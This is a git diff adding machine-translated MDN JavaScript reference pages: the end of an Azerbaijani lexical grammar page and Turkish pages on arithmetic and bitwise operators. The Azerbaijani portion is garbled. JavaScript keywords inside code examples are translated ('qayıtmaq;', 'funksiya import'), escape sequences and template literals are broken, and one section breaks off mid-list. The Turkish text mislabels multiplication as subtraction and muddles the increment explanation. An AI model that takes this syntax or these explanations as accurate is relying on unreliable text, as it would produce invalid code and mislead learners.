("Bəyanatlar / çalışın ... tutun", "tutun")}}<br> + {{jsxref ("Bəyanatlar / sinif", "sinif")}}<br> + {{jsxref ("Bəyanatlar / const", "const")}}<br> + {{jsxref ("Bəyanatlar / davam et", "davam et")}}<br> + {{jsxref ("Bəyanatlar / debugger", "debugger")}}<br> + {{jsxref ("Bəyanatlar / default", "default")}}<br> + {{jsxref ("Operatorlar / silmək", "Sil")}}<br> + {{jsxref ("Bəyanatlar / etmək ... edərkən", "etmək")}}<br> + {{jsxref ("Bəyanatlar / əgər ... başqa", "başqa")}}<br> + {{jsxref ("Bəyanatlar / ixrac", "ixrac")}}<br> + {{jsxref ("Bəyanatlar / sinif", "uzanır")}}<br> + {{jsxref ("Bəyanatlar / cəhd edin ... tutun", "nəhayət")}}<br> + {{jsxref ("Bəyanatlar / üçün", "üçün")}}<br> + {{jsxref ("Bildirişlər / funksiya", "funksiya")}}<br> + {{jsxref ("Bəyanatlar / əgər ... başqa", "əgər")}}<br> + {{jsxref ("Bəyanatlar / idxal", "idxal")}}<br> + {{jsxref ("Operatorlar / ilə", "in")}}<br> + {{jsxref ("Əməliyyatçılar / instanceof", "instanceof")}}<br> + {{jsxref ("Operatorlar / yeni", "yeni")}}<br> + {{jsxref ("Bəyanatlar / qayıt", "qayıt")}}<br> + {{jsxref ("Əməliyyatçılar / super", "super")}}<br> + {{jsxref ("Bəyanatlar / keçid", "keçid")}}<br> + {{jsxref ("Əməliyyatçılar / bu", "bu")}}<br> + {{jsxref ("Bəyanatlar / atmaq", "atmaq")}}<br> + {{jsxref ("Bəyanatlar / cəhd edin ... tutun", "cəhd edin")}}<br> + {{jsxref ("Operatorlar / typeof", "typeof")}}<br> + {{jsxref ("Bəyanatlar / var", "var")}}<br> + {{jsxref ("Operatorlar / etibarsız", "etibarsız")}}<br> + {{jsxref ("Bəyanatlar / edərkən", "isə")}}<br> + {{jsxref ("Bəyanatlar / ilə", "ilə")}}<br> + {{jsxref ("Əməliyyatçılar / məhsuldarlıq", "gəlir")}}<br> + Gələcək qorunan açar sözlər<br> + Aşağıdakılar ECMAScript spesifikasiyası ilə gələcək açar sözlər kimi qorunur. Hal-hazırda onların heç bir xüsusi funksionallığı yoxdur, lakin gələcəkdə də ola bilər, buna görə identifikator kimi istifadə edilə bilməzlər.</p> + +<p>Bunlar həmişə qorunur:</p> + +<p>enum<br> + Aşağıdakılar yalnız ciddi rejim kodlarında tapıldıqda qorunur:</p> + +<p>tətbiq edir<br> + interfeysi<br> + {{jsxref ("Bəyanatlar / qoy", "qoy")}}<br> + paket<br> + özəl<br> + qorunur<br> + ictimai<br> + statik<br> + Aşağıdakılar yalnız modul kodu tapdıqda qorunur:</p> + +<p>gözləmək<br> + Gələcəkdə köhnə standartlarda qorunan açar sözlər<br> + Aşağıdakılar köhnə ECMAScript xüsusiyyətlərinə görə gələcək açar sözlər olaraq qorunur (ECMAScript 1-dən 3-ə qədər).</p> + +<p>mücərrəd<br> + boolean<br> + bayt<br> + char<br> + ikiqat<br> + final<br> + sal<br> + getmək<br> + int<br> + uzun<br> + doğma<br> + qısa<br> + sinxronizasiya olunur<br> + atır<br> + keçici<br> + uçucu<br> + Bundan əlavə, null, əsl və yalnış hərflər ECMAScript-də identifikator kimi istifadə edilə bilməz.</p> + +<p>Ehtiyat söz istifadəsi<br> + Qorunan sözlər əslində yalnız identifikatorlara aiddir (identifikator adları). Es5.github.com/#A.1-də təsvir olunduğu kimi, bunlar hamısı ReserveWords-ı istisna etməyən identifikator adlarıdır.</p> + +<p>a.import<br> + a ['idxal']<br> + a = {idxal: 'test'}.<br> + Digər tərəfdən aşağıdakılar qanunsuzdur, çünki qorunan sözlər olmadan bir identifikator adıdır. Eyniləşdiricilər FunctionDeclaration, FunctionExpression, Dəyişən Deklarasiya və s. Üçün istifadə olunur. Identifikator adları MemberExpression, CallExpression və s. Üçün istifadə olunur.</p> + +<p>funksiya import () {} // qeyri-qanuni.<br> + Xüsusi mənaları olan identifikatorlar<br> + Bəzi identifikatorların heç bir növ açar sözlər olmadan bəzi məzmunlarda xüsusi bir mənası var. Bunlara daxildir:</p> + +<p>bu sintaksis ECMAScript 2015-də yenidir, brauzer uyğunluğu cədvəlinə baxın. 0o-dan sonrakı rəqəmlər (01234567) aralığın xaricindədirsə, aşağıdakı {{jsxref ("SyntaxError")}} atılır: "0o-dan sonra itmiş səkkizbucaqlı rəqəmlər".</p> + +<p>var n = 0O755; // 493<br> + var m = 0o644; // 420</p> + +<p>// Yalnız bir aparıcı sıfır ilə mümkündür (yuxarıdakı onluğa dair qeydə baxın)<br> + 0755<br> + 0644<br> + Altıbucaqlıdır<br> + Hexadecimal nömrə sintaksisində kiçik və ya böyük hərfli Latın "X" (0x və ya 0X) hərfinin ardınca aparıcı sıfır istifadə olunur. 0x-dən sonra rəqəmlər aralığın xaricindədirsə (0123456789ABCDEF), aşağıdakı {{jsxref ("SyntaxError")}} atılır: "Identifikator rəqəmli hərfdən dərhal sonra başlayır".</p> + +<p>0xFFFFFFFFFFFFFFFFF // 295147905179352830000<br> + 0x123456789ABCDEF // 81985529216486900<br> + 0XA // 10<br> + BigInt hərfi<br> + {{Jsxref ("BigInt")}} növü JavaScript-də ixtiyari dəqiqliklə tam ədədləri təmsil edə bilən ədədi ibtidai. BigInt hərfləri tam ədədin sonuna n əlavə etməklə yaradılır.</p> + +<p>123456789123456789n // 123456789123456789<br> + 0o777777777777n // 68719476735<br> + 0x123456789ABCDEFn // 81985529216486895<br> + 0b11101001010101010101n // 955733<br> + Qeyd edək ki, yalnız bir lider sıfır olan köhnə səkkizbucaqlı rəqəmlər BigInt üçün işləməyəcək:</p> + +<p>// 0755n<br> + // SyntaxError: etibarsız BigInt sintaksisi<br> + Səkkizbucaqlı BigInt nömrələri üçün hər zaman sıfırdan sonra "o" hərfi ilə (böyük və ya kiçik hərf) istifadə edin:</p> + +<p>0o755n<br> + BigInt haqqında daha çox məlumat üçün JavaScript məlumat strukturlarına da baxın.</p> + +<p>Sayısal ayırıcılar<br> + Rəqəmsal hərflərin oxunuşunu yaxşılaşdırmaq üçün alt nöqtələrdən (_, U + 005F) ayırıcı kimi istifadə edilə bilər</p> + +<p>// onluq sayda ayırıcılar<br> + 1_000_000_000_000<br> + 1_050.95</p> + +<p>// ikili nömrələrdə ayırıcılar<br> + 0b1010_0001_1000_0101</p> + +<p>// səkkizbucaqlı ədədlərdə ayrıcılar<br> + 0o2_2_5_6</p> + +<p>// hex ədədlərindəki ayırıcılar<br> + 0xA0_B0_C0</p> + +<p>// BigInts-də ayırıcılar<br> + 1_000_000_000_000_000_000_000n<br> + Bu məhdudiyyətlərə diqqət yetirin:</p> + +<p>// Bir dəfədən çox alt qeyd etməyə icazə verilmir<br> + 100__000; // Söz düzümü səhvi</p> + +<p>// Rəqəmsal hərflərin sonunda icazə verilmir<br> + 100_; // Söz düzümü səhvi</p> + +<p>// 0-dan sonra istifadə edilə bilməz<br> + 0_1; // Söz düzümü səhvi<br> + Obyekt hərfləri<br> + Əlavə məlumat üçün {{jsxref ("Obyekt")}} və Obyekt başlatıcısına da baxın.</p> + +<p>var o = {a: 'foo', b: 'bar', c: 42};</p> + +<p>// stenoqram notation. ES2015-də yenidir<br> + var a = 'foo', b = 'bar', c = 42;<br> + var o = {a, b, c};</p> + +<p>// əvəzinə<br> + var o = {a: a, b: b, c: c};<br> + Sıra hərfləri<br> + Əlavə məlumat üçün {{jsxref ("Array")}} da baxın.</p> + +<p>[1954, 1974, 1990, 2014]<br> + Simli hərflər<br> + Sətir hərfi sıfır və ya daha çox və ya ikiqat tirnoqla əlavə olunmuş Unicode kod nöqtələridir. Unicode kod nöqtələri də bir qaçış ardıcıllığı ilə təmsil oluna bilər. Bütün bağ nöqtələri sözün həqiqi kod nöqtələri istisna olmaqla hərfi mənada bir simli olaraq görünə bilər:</p> + +<p>U + 005C \ (arxa cığır),<br> + U + 000D <CR>,<br> + və U + 000A <LF>.<br> + Bütün JSON mətnini etibarlı ECMA-262, U + 2028 <LS> və U + 2029 <PS> etiketli etmək təklifindən əvvəl də simli hərflərdə görünməməsi qadağan edildi.</p> + +<p>Hər hansı bir kod nöqtəsi qaçış ardıcıllığı şəklində görünə bilər. String hərfləri ECMAScript String dəyərlərini qiymətləndirir. Bu Sətir dəyərlərini yaradan zaman Unicode kod nöqtələri UTF-16 kodlanır.</p> + +<p>'foo'<br> + "bar"<br> + Hexadecimal escape ardıcıllığı<br> + Hexadecimal escape ardıcıllığı, 0x0000 ilə 0x00FF aralığında bir kod vahidi və ya kod nöqtəsini təmsil edən iki iki altıbucaqlı rəqəmin ardınca \ x ibarətdir.</p> + +<p>'\ xA9' // "©"<br> + Unicode qaçış ardıcıllığı<br> + Unicode qaçış ardıcıllığı tam olaraq dörd altıbucaqlı rəqəmlərdən ibarətdir \ u. UTF-16 kodlaşdırmada bir kod vahidini təmsil edir. U + 0000 ilə U + FFFF kod nöqtələri üçün kod vahidi kod nöqtəsinə bərabərdir. U + 10000 ilə U + 10FFFF kod nöqtələri, xarakteri kodlamaq üçün istifadə olunan iki kod vahidini (bir surroqat cütü) təmsil edən iki qaçış ardıcıllığını tələb edir; surroqat cütlüyü kod nöqtəsindən fərqlidir.</p> + +<p>Buna da baxın: {{jsxref ("String.fromCharCode ()")}} və {{jsxref ("String.prototype.charCodeAt ()")}}.</p> + +<p>'\ u00A9' // "©" (U + A9)<br> + Unicode kod nöqtəsi qaçır<br> + Unicode kod nöqtəsindən qaçış \ u {, ardından altıbucaqlı bazada kod nöqtəsi, ardınca} daxil edilir. Altıbucaqlı rəqəmlərin dəyəri 0 ilə 0x10FFFF arasında olmalıdır. U + 10000 ilə U + 10FFFF arasındakı kod nöqtələrinin surroqat cütü kimi göstərilməsinə ehtiyac yoxdur. Kod nöqtələrinin qaçışları ECMAScript 2015 (ES6) -də JavaScript-ə əlavə edildi.</p> + +<p>Buna da baxın: {{jsxref ("String.fromCodePoint ()")}} və {{jsxref ("String.prototype.codePointAt ()")}}.</p> + +<p>'\ u {2F804}' // CJK uyğunluğu İDEOĞRAF-2F804 (U + 2F804)</p> + +<p>// eyni xarakterli bir surroqat cütü olaraq təmsil olunur<br> + '\ uD87E \ uDC04'<br> + Daimi ifadə hərfi<br> + Əlavə məlumat üçün {{jsxref ("RegExp")}} də baxın.</p> + +<p>/ ab + c / g</p> + +<p>// Bir "boş" müntəzəm ifadə<br> + // Boş tutmayan qrup lazımdır<br> + // tək sətirli şərhlərlə qeyri-müəyyənliyə yol verməmək.<br> + / (?:) /<br> + Şablon hərfləri<br> + Daha çox məlumat üçün şablon iplərinə baxın.</p> + +<p>`simli mətn`</p> + +<p>`simli mətn xətti 1<br> + simli mətn xətti 2`</p> + +<p>`string mətni $ {ifadə} simli mətn '</p> + +<p>etiketli "string mətni $ {ifadə} string mətni"<br> + Avtomatik nöqtəli vergül<br> + Bəzi JavaScript ifadələri nöqtəli vergul ilə dayandırılmalı və buna görə də</p> + +<p>avtomatik nöqtəli vergül daxil edilməsindən təsirləndi (ASI):</p> + +<p>Boş bəyanat<br> + qoy, const, dəyişən bir ifadə<br> + idxal, ixrac, modul bəyannaməsi<br> + İfadə ifadəsi<br> + debugger<br> + davam etmək, qırmaq, atmaq<br> + qayıtmaq<br> + ECMAScript spesifikasiyası nöqtəli vergül daxil edilməsinin üç qaydasını xatırladır.</p> + +<p>1. Bir xətt terminatoru və ya "}" ilə qarşılaşdıqda, qrammatika tərəfindən icazə verilməyən nöqtələrə vergül qoyulur.</p> + +<p>{1 2} 3</p> + +<p>// ASI tərəfindən çevrilir</p> + +<p>{1 2;} 3;<br> + 2. Ayələr giriş axınının sonu aşkar edildikdə və analizator bir giriş axını tam bir proqram olaraq təhlil edə bilmədikdə son nöqtəyə nöqtə qoyulur.</p> + +<p>Burada ++ dəyişən b tətbiq olunan bir postfiks operatoru kimi qəbul edilmir, çünki b və ++ arasında bir xətt terminatoru meydana gəlir.</p> + +<p>a = b<br> + ++ c</p> + +<p>// ASI tərəfindən dəyişdirilir</p> + +<p>a = b;<br> + ++ c;<br> + 3. Sonunda nöqtə vergül qoyulur, qrammatikada məhdud məhsullar olan bir söz bir xətt terminatoru izlədikdə. "Burada LineTerminator yoxdur" qaydaları olan bu ifadələr:</p> + +<p>Postfiks İfadə (++ və -)<br> + davam edin<br> + fasilə<br> + qayıtmaq<br> + gəlir, gəlir *<br> + modul<br> + qayıtmaq<br> + a + b</p> + +<p>// ASI tərəfindən çevrilir</p> + +<p>qayıtmaq;<br> + a + b;<br> + Texniki şərtlər<br> + Xüsusiyyət<br> + {{SpecName ('ESDraft', '# sec-ecmascript-language-leksik-qrammatika', 'Leksik qrammatika')}}<br> + Brauzer uyğunluğu<br> + Bu səhifədəki uyğunluq cədvəli strukturlaşdırılmış məlumatlardan hazırlanmışdır. Verilənlərə töhfə vermək istəyirsinizsə, lütfən https://github.com/mdn/browser-compat-data-ya baxın və bizə bir sorğu göndərin.<br> + {{Compat ("javascript.grammar")}}</p> + +<p>İcra Tərəqqi<br> + Aşağıdakı cədvəl bu xüsusiyyət üçün gündəlik tətbiq statusunu təmin edir, çünki bu xüsusiyyət hələ brauzer sabitliyinə çatmamışdır. Verilənlər, Gecə qurulması və ya hər brauzerin JavaScript mühərrikinin son buraxılışı olan Test262, JavaScript standart test paketi ilə əlaqəli xüsusiyyət testlərini aparmaqla yaradılır.</p> + +<p>{{EmbedTest262ReportResultsTable ("hashbang")}}<br> + Həmçinin bax<br> + Jeff Walden: İkili və səkkizbucaqlı ədədlər<br> + Mathias Bynens: JavaScript xarakter qaçış ardıcıllığı<br> + {{jsxref ("Boolean")}}<br> + {{jsxref ("Sayı")}}<br> + {{jsxref ("RegExp")}}<br> + {{jsxref ("Sətir")}}</p> + +<ul> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/arithmetic_operators/index.html b/files/tr/web/javascript/reference/operatörler/arithmetic_operators/index.html new file mode 100644 index 0000000000..e78a71c2d9 --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/arithmetic_operators/index.html @@ -0,0 +1,293 @@ +--- +title: Arithmetic operators +slug: Web/JavaScript/Reference/Operatörler/Arithmetic_Operators +tags: + - Aritmetik Operatörler + - JavaScript +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>Aritmetik operatörler</strong> sayısal değerleri (değişmez değerler veya değişkenler) kendi değişkeni olarak alır ve tek bir sayısal değer döndürür. Standart aritmetik operatörler toplama (+), çıkarma (-), çıkarma (*), ve bölme (/).</p> + +<div>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</div> + + + +<h2 id="Addition" name="Addition">Toplama (+)</h2> + +<p>Toplama işleci, sayısal değişkenlerin veya dize birleşiminin toplamını üretir.</p> + +<h3 id="Syntax">Syntax</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x + y +</pre> + +<h3 id="Examples">Examples</h3> + +<pre class="brush: js">// Number + Number -> Toplama +1 + 2 // 3 + +// Boolean + Number -> Toplama +true + 1 // 2 + +// Boolean + Boolean -> Toplama +false + false // 0 + +// Number + String -> Birleşim +5 + 'foo' // "5foo" + +// String + Boolean -> Birleşim +'foo' + false // "foofalse" + +// String + String -> Birleşim +'foo' + 'bar' // "foobar" +</pre> + +<h2 id="Subtraction" name="Subtraction">Çıkarma (-)</h2> + +<p>Çıkarma işleci (operator), iki değişkeni çıkarır ve farklarını üretir.</p> + +<h3 id="Söz_Dizimi">Söz Dizimi</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x - y +</pre> + +<h3 id="Örnekler">Örnekler</h3> + +<pre class="brush: js">5 - 3 // 2 +3 - 5 // -2 +'foo' - 3 // NaN(Sayı Değil)</pre> + +<h2 id="Division" name="Division">Bölme (/)</h2> + +<p>Bölme operatörü, sol değişkenin bölüm olduğu ve sağ değişkenin bölen olduğu işlenenlerin bölümünü üretir.</p> + +<h3 id="Söz_Dizimi_2">Söz Dizimi</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x / y +</pre> + +<h3 id="Örnekler_2">Örnekler</h3> + +<pre class="brush: js">1 / 2 // 0.5 döndürür +1 / 2 // Java''da 0 döndürür +// (her iki sayı da açıkça kayan nokta sayısıdır) + +1.0 / 2.0 // JavaScript ve Java 0.5 döndürür + +2.0 / 0 // JavaScript sonsuz döndürür +2.0 / 0.0 // Sonsuzu da döndürür +2.0 / -0.0 // JavaScript eksi sonsuz da döndürür</pre> + +<h2 id="Multiplication" name="Multiplication">Çarpma (*)</h2> + +<p>Çarpma operatörü değişkenlerin ürününü üretir.</p> + +<h3 id="Söz_Dizimi_3">Söz Dizimi</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x * y +</pre> + +<h3 id="Örnekler_3">Örnekler</h3> + +<pre class="brush: js">2 * 2 // 4 +-2 * 2 // -4 +Infinity * 0 // NaN(Sayı Değil1) +Infinity * Infinity // Sonsuz +'foo' * 2 // NaN +</pre> + +<h2 id="Remainder" name="Remainder">Kalan (%)</h2> + +<p>Kalan operatörü, bir değişken ikinci bir değişken tarafından bölündüğünde kalan döndürür. Her zaman bölüm işareti alır.</p> + +<h3 id="Söz_Dizimi_4">Söz Dizimi</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> var1 % var2 +</pre> + +<h3 id="Örnekler_4">Örnekler</h3> + +<pre class="brush: js">12 % 5 // 2 +-1 % 2 // -1 +1 % -2 // 1 +NaN % 2 // NaN +1 % 2 // 1 +2 % 3 // 2 +-4 % 2 // -0 +5.5 % 2 // 1.5 +</pre> + +<h2 id="Exponentiation" name="Exponentiation">Üs (**)</h2> + +<p>The exponentiation operator returns the result of raising first operand to the power second operand. That is, <code>var1</code><sup><code>var2</code></sup>, in the preceding statement, where <code>var1</code> and <code>var2</code> are variables. Exponentiation operator is right associative. <code>a ** b ** c</code> is equal to <code>a ** (b ** c)</code>.</p> + +<h3 id="Syntax_2">Syntax</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> var1 ** var2 +</pre> + +<h3 id="Notes">Notes</h3> + +<p>In most languages like PHP and Python and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators such as unary + and unary -, but there are a few exceptions. For example, in Bash the ** operator is defined to have a lower precedence than unary operators. In JavaScript, it is impossible to write an ambiguous exponentiation expression, i.e. you cannot put a unary operator (<code>+/-/~/!/delete/void/typeof</code>) immediately before the base number.</p> + +<pre class="brush: js">-2 ** 2; +// 4 in Bash, -4 in other languages. +// This is invalid in JavaScript, as the operation is ambiguous. + + +-(2 ** 2); +// -4 in JavaScript and the author's intention is unambiguous. +</pre> + +<h3 id="Examples_2">Examples</h3> + +<pre class="brush: js">2 ** 3 // 8 +3 ** 2 // 9 +3 ** 2.5 // 15.588457268119896 +10 ** -1 // 0.1 +NaN ** 2 // NaN + +2 ** 3 ** 2 // 512 +2 ** (3 ** 2) // 512 +(2 ** 3) ** 2 // 64 +</pre> + +<p>To invert the sign of the result of an exponentiation expression:</p> + +<pre class="brush: js">-(2 ** 2) // -4 +</pre> + +<p>To force the base of an exponentiation expression to be a negative number:</p> + +<pre class="brush: js">(-2) ** 2 // 4 +</pre> + +<div class="note"> +<p><strong>Note:</strong> JavaScript also has <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">a bitwise operator ^ (logical XOR)</a>. <code>**</code> and <code>^</code> are different (for example : <code>2 ** 3 === 8</code> when <code>2 ^ 3 === 1</code>.)</p> +</div> + +<h2 id="Increment" name="Increment">Artırma (++)</h2> + +<p>Artış operatörü işlenenini artırır (bir ekler) ve bir değer döndürür.</p> + +<ul> + <li>İlk önce değişken adı kullanılırsa, değişkenden sonra operatörle (örneğin, x++) kullanılırsa artmadan önce değeri artırır ve döndürür.</li> + <li>Ön ek kullanılırsa, değişkenden önce operatörle (örneğin, ++x), daha sonra artırıldıktan sonra değeri artıtrır ve döndürür.</li> +</ul> + +<h3 id="Söz_Dizimi_5">Söz Dizimi</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x++ yada ++x +</pre> + +<h3 id="Örnekler_5">Örnekler</h3> + +<pre class="brush: js">// Postfix +var x = 3; +y = x++; // y = 3, x = 4 + +// Prefix +var a = 2; +b = ++a; // a = 3, b = 3 +</pre> + +<h2 id="Decrement" name="Decrement">Azaltma (--)</h2> + +<p>The decrement operator decrements (subtracts one from) its operand and returns a value.</p> + +<ul> + <li>If used postfix, with operator after operand (for example, x--), then it decrements and returns the value before decrementing.</li> + <li>If used prefix, with operator before operand (for example, --x), then it decrements and returns the value after decrementing.</li> +</ul> + +<h3 id="Syntax_3">Syntax</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> x-- or --x +</pre> + +<h3 id="Examples_3">Examples</h3> + +<pre class="brush: js">// Postfix +var x = 3; +y = x--; // y = 3, x = 2 + +// Prefix +var a = 2; +b = --a; // a = 1, b = 1 +</pre> + +<h2 id="Unary_negation" name="Unary_negation">Unary negation (-)</h2> + +<p>The unary negation operator precedes its operand and negates it.</p> + +<h3 id="Syntax_4">Syntax</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> -x +</pre> + +<h3 id="Examples_4">Examples</h3> + +<pre class="brush: js">var x = 3; +y = -x; // y = -3, x = 3 + +// Unary negation operator can convert non-numbers into a number +var x = "4"; +y = -x; // y = -4 +</pre> + +<h2 id="Unary_plus_2"><a name="Unary_plus">Unary plus</a> (+)</h2> + +<p>The unary plus operator precedes its operand and evaluates to its operand but attempts to convert it into a number, if it isn't already. Although unary negation (-) also can convert non-numbers, unary plus is the fastest and preferred way of converting something into a number, because it does not perform any other operations on the number. It can convert string representations of integers and floats, as well as the non-string values <code>true</code>, <code>false</code>, and <code>null</code>. Integers in both decimal and hexadecimal ("0x"-prefixed) formats are supported. Negative numbers are supported (though not for hex). If it cannot parse a particular value, it will evaluate to {{jsxref("NaN")}}.</p> + +<h3 id="Syntax_5">Syntax</h3> + +<pre class="syntaxbox"><strong>Operator:</strong> +x +</pre> + +<h3 id="Examples_5">Examples</h3> + +<pre class="brush: js">+3 // 3 ++'3' // 3 ++true // 1 ++false // 0 ++null // 0 ++function(val){ return val } // NaN +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-additive-operators', 'Additive operators')}}</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-postfix-expressions', 'Postfix expressions')}}</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-11.5', 'Multiplicative operators')}}</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-11.4', 'Unary operator')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.operators.arithmetic")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assignment operators</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/operatörler/bitwise_operators/index.html b/files/tr/web/javascript/reference/operatörler/bitwise_operators/index.html new file mode 100644 index 0000000000..d2ad12abff --- /dev/null +++ b/files/tr/web/javascript/reference/operatörler/bitwise_operators/index.html @@ -0,0 +1,564 @@ +--- +title: Bitwise operators +slug: Web/JavaScript/Reference/Operatörler/Bitwise_Operators +translation_of: Web/JavaScript/Reference/Operators +--- +<div>{{jsSidebar("Operators")}}</div> + +<p><strong>Bitsel işleçler</strong> işlediği elemanlara ondalık, onaltılık veya <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">sayılar</a></code> yerine 32 bit diziler(sıfır ve birler) olarak davranır. Örneğin, onluk bir sayı olan 9, ikilik sistemde 1001 ile gösterilir. Bitsel işleçler, işlemin iki tarafınada ikili değerleriyle işlem yapar ancak JavaScript standartı olan sayısal değerleri döner.</p> + +<p>Aşağıdaki tablo JavaScript'in bitsel işleçlerini özetler:</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Operator</th> + <th>Usage</th> + <th>Description</th> + </tr> + <tr> + <td><a href="#Bitwise_AND">Bitwise AND</a></td> + <td><code>a & b</code></td> + <td>Bitsel işleçin iki tarafının karşılık gelen bitleri 1 ise, en az bir tanesi 0 ise 0 döndürür.</td> + </tr> + <tr> + <td><a href="#Bitwise_OR">Bitwise OR</a></td> + <td><code>a | b</code></td> + <td>Bitsel işleçin iki tarafının karşılık gelen bitlerinden en az biri 1 ise 1 döndürür.</td> + </tr> + <tr> + <td><a href="#Bitwise_XOR">Bitwise XOR</a></td> + <td><code>a ^ b</code></td> + <td>Bitsel işleçin iki tarafının karşılık gelen bitlerinden ancak bir tanesi 1 ise, 1 döndürür.</td> + </tr> + <tr> + <td><a href="#Bitwise_NOT">Bitwise NOT</a></td> + <td><code>~ a</code></td> + <td>İşlenenin bitlerini ters çevirir.</td> + </tr> + <tr> + <td><a href="#Left_shift">Left shift</a></td> + <td><code>a << b</code></td> + <td><code>a</code> sayısının ikili haline, sağına <code>b</code> (< 32) adet bit 0 ekleyerek sola doğru kaydırır.</td> + </tr> + <tr> + <td><a href="#Right_shift">Sign-propagating right shift</a></td> + <td><code>a >> b</code></td> + <td><code>a</code> sayısının ikili halini <code>b</code> (< 32) adet bit sağa kaydırır. Pozitif sayılar için b adet 0, negatif sayılar için 1 ekleyerek kaydırır.</td> + </tr> + <tr> + <td><a href="#Unsigned_right_shift">Zero-fill right shift</a></td> + <td><code>a >>> b</code></td> + <td><code>a</code> sayısının ikili gösterimine <code>b</code> (< 32) bit sağa kaydırır, <code>a</code> sayısının pozitif negatif olmasına bakmadan sayının soluna <code>b</code> adet 0 ekler.</td> + </tr> + </tbody> +</table> + +<h2 id="İşaretli_32-bit_integer_sayılar">İşaretli 32-bit integer sayılar</h2> + +<p>The operands of all bitwise operators are converted to signed 32-bit integers in two's complement format. Two's complement format means that a number's negative counterpart (e.g. 5 vs. -5) is all the number's bits inverted (bitwise NOT of the number, a.k.a. ones' complement of the number) plus one. For example, the following encodes the integer 314:</p> + +<pre>00000000000000000000000100111010 +</pre> + +<p>The following encodes <code>~314</code>, i.e. the ones' complement of <code>-314</code>:</p> + +<pre>11111111111111111111111011000101 +</pre> + +<p>Finally, the following encodes <code>-314,</code> i.e. the two's complement of <code>-314</code>:</p> + +<pre>11111111111111111111111011000110 +</pre> + +<p>The two's complement guarantees that the left-most bit is 0 when the number is positive and 1 when the number is negative. Thus, it is called the <em>sign bit</em>.</p> + +<p>The number <code>0</code> is the integer that is composed completely of 0 bits.</p> + +<pre>0 (base 10) = 00000000000000000000000000000000 (base 2) +</pre> + +<p>The number <code>-1</code> is the integer that is composed completely of 1 bits.</p> + +<pre>-1 (base 10) = 11111111111111111111111111111111 (base 2) +</pre> + +<p>The number <code>-2147483648</code> (hexadecimal representation: <code>-0x80000000</code>) is the integer that is composed completely of 0 bits except the first (left-most) one.</p> + +<pre>-2147483648 (base 10) = 10000000000000000000000000000000 (base 2) +</pre> + +<p>The number <code>2147483647</code> (hexadecimal representation: <code>0x7fffffff</code>) is the integer that is composed completely of 1 bits except the first (left-most) one.</p> + +<pre>2147483647 (base 10) = 01111111111111111111111111111111 (base 2) +</pre> + +<p>The numbers <code>-2147483648</code> and <code>2147483647</code> are the minimum and the maximum integers representable through a 32bit signed number.</p> + +<h2 id="Bitwise_logical_operators">Bitwise logical operators</h2> + +<p>Conceptually, the bitwise logical operators work as follows:</p> + +<ul> + <li>The operands are converted to 32-bit integers and expressed by a series of bits (zeroes and ones). Numbers with more than 32 bits get their most significant bits discarded. For example, the following integer with more than 32 bits will be converted to a 32 bit integer: + <pre>Before: 11100110111110100000000000000110000000000001 +After: 10100000000000000110000000000001</pre> + </li> + <li>Each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on.</li> + <li>The operator is applied to each pair of bits, and the result is constructed bitwise.</li> +</ul> + +<h3 id="(Bitwise_AND)"><a name="Bitwise_AND">& (Bitwise AND)</a></h3> + +<p>Performs the AND operation on each pair of bits. <code>a</code> AND <code>b</code> yields 1 only if both <code>a</code> and <code>b</code> are 1. The truth table for the AND operation is:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">b</td> + <td class="header">a AND b</td> + </tr> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + <td>0</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>1</td> + <td>1</td> + <td>1</td> + </tr> + </tbody> +</table> + +<pre>. 9 (base 10) = 00000000000000000000000000001001 (base 2) + 14 (base 10) = 00000000000000000000000000001110 (base 2) + -------------------------------- +14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) +</pre> + +<p>Bitwise ANDing any number x with 0 yields 0. Bitwise ANDing any number x with -1 yields x.</p> + +<h3 id="(Bitwise_OR)"><a name="Bitwise_OR">| (Bitwise OR)</a></h3> + +<p>Performs the OR operation on each pair of bits. <code>a</code> OR <code>b</code> yields 1 if either <code>a</code> or <code>b</code> is 1. The truth table for the OR operation is:</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">a</td> + <td class="header">b</td> + <td class="header">a OR b</td> + </tr> + <tr> + <td>0</td> + <td>0</td> + <td>0</td> + </tr> + <tr> + <td>0</td> + <td>1</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>0</td> + <td>1</td> + </tr> + <tr> + <td>1</td> + <td>1</td> + <td>1</td> + </tr> + </tbody> +</table> + 